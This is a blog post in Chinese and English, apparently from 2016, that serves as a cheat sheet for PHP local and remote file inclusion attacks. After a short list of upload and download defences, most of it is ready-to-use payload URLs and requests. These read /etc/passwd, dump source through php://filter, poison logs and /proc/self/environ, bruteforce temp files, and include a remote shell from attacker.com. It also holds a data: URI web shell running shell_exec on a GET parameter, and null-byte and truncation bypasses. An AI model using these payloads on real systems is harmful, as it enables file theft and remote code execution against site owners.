
Local File Inclusion
防御策略
文件上传
- 大小
- 类型
- 存储位置
- 内容安全
- 访问权限
- 名称随机化
文件下载
- 下载路径
- 敏感信息
- 访问权限
阿里云OSS安全 https://help.aliyun.com/document_detail/126537.html?spm=a2c4g.11186623.6.552.44f874b8BaaI5y
1) Direct Local Include
1 | http://site.com/lfi.php?page=/etc/passwd |
2) php://filter
php://filter是一种元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来,只是读取,不需要开启allow_url_include;
1 | http://www.site.com/lfi.php?page=php://filter/resource=config.php |
3) /proc/self/environ
Request’s user agent can be found there
用户可通过修改浏览器的agent信息插入自己的内容到该文件,将php代码写进去之后再利用LFI进行包含就可以实现漏洞的利用
1 | GET /lfi.php?page=/proc/self/environ&cmd=id HTTP/1.1 |
4) Including images
If image.jpg contains php code it will be interpreted.
1 | http://www.site.com/lfi.php?page=upload/image.jpg |
5) Zip and Phar wrappers
File must be zip archive with any extension
phar://伪协议 >> 数据流包装器,自 PHP 5.3.0 起开始有效,正好契合上面两个伪协议的利用条件。说通俗点就是php解压缩包的一个函数,解压的压缩包与后缀无关。
用法:?file=phar://压缩包/内部文件
1 | http://www.site.com/lfi.php?page=zip://image.zip#shell.php |
6) File Upload
It requires php interpreter that crashes upon infinite recursive inclusion, thus not removing temporary file.
- Upload a file and trigger a self-inclusion
- Repeat step 1 until successful attack
- Bruteforce inclusion of /tmp/php[0-9a-zA-Z]{6}
- Shell
We have 62**6 possible values -> 56800235584 filenames for temporary uploaded files
Birthday paradox can be applied and it results with about 280000 requests to find valid file with more than 50% chance.
1 | import itertools |
It is possible to send 20 files in one request that will be accepted by the server.
7) Session Files
1 | Session文件一般存放在/tmp/、/var/lib/php/session/、/var/lib/php/session/等目录下,文件名字一般以sess_SESSIONID来保存。 |
8) PHPInfo Script
1 | <?php phpinfo(); ?> |
9) 结合phpinfo包含临时文件
php有个特性是我们向服务器上任意php文件post请求上传数据时,都会生成临时文件,默认是传到tmp目录下,并且文件名是随机的。当然,我们可以暴力猜解,但是这样子还是太过鸡肋的。国外一个安全研究者提出利用phpinfo来找出所上传的文件路径,因为phpinfo会记录一些请求,包括在服务器上生成的临时文件名字和目录。所以借助phpinfo()我们可以找出临时文件名并利用。
1 | #!/usr/bin/env python |
10) Logs
包含web server日志文件
不管我们提交的Get请求或者Post请求都会被apache记录到日志文件里。所以我们可以控制请求内容,将恶意代码写入日志文件,从而实现包含。
直接访问test.php?file=../<?php phpinfo();?>.php
,将会被记录下来。这样便成功将php代码写进log文件。
FTP日志文件内容
用户名填:<?php phpinfo();?>
Remote File Inclusion
Works when allow_url_include in php.ini is set to TRUE
1) Direct Remote Include
Including php file in text format directly
1 | http://www.site.com/lfi.hpp?page=http://attacker.com/shell.txt |
2) Data:text/plain
Including php code through data stream
data://伪协议 >> 数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的;
1 | http://www.site.com/lfi.php?page=data:text/plain;,<?php echo shell_exec($_GET['cmd']);?> |
3) php://input
?file=php://input 数据利用POST传过去
1 | POST /lfi.php?page=php://input&cmd=cd HTTP/1.1 |
Fighting with extensions
1) Null Bytes
Add null byte that will terminate string
1 | http://www.site.com/lfi.php?page=/etc/passwd%00 |
2) Truncation
Cut extension by creating long string
1 | http://www.site.com/lfi.php?page=../../../../../../../../../../../../etc/passwd |
1 | http://www.site.com/lfi.php?page=/etc/passwd.............................. |
1 | http://www.site.com/lfi.php?page=/etc/passwd.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\ |
参考:
- Post title:Local File Inclusion and Remote File Inclusion
- Post author:langu_xyz
- Create time:2016-11-12 21:00:00
- Post link:https://blog.langu.xyz/Local File Inclusion and Remote File Inclusion/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.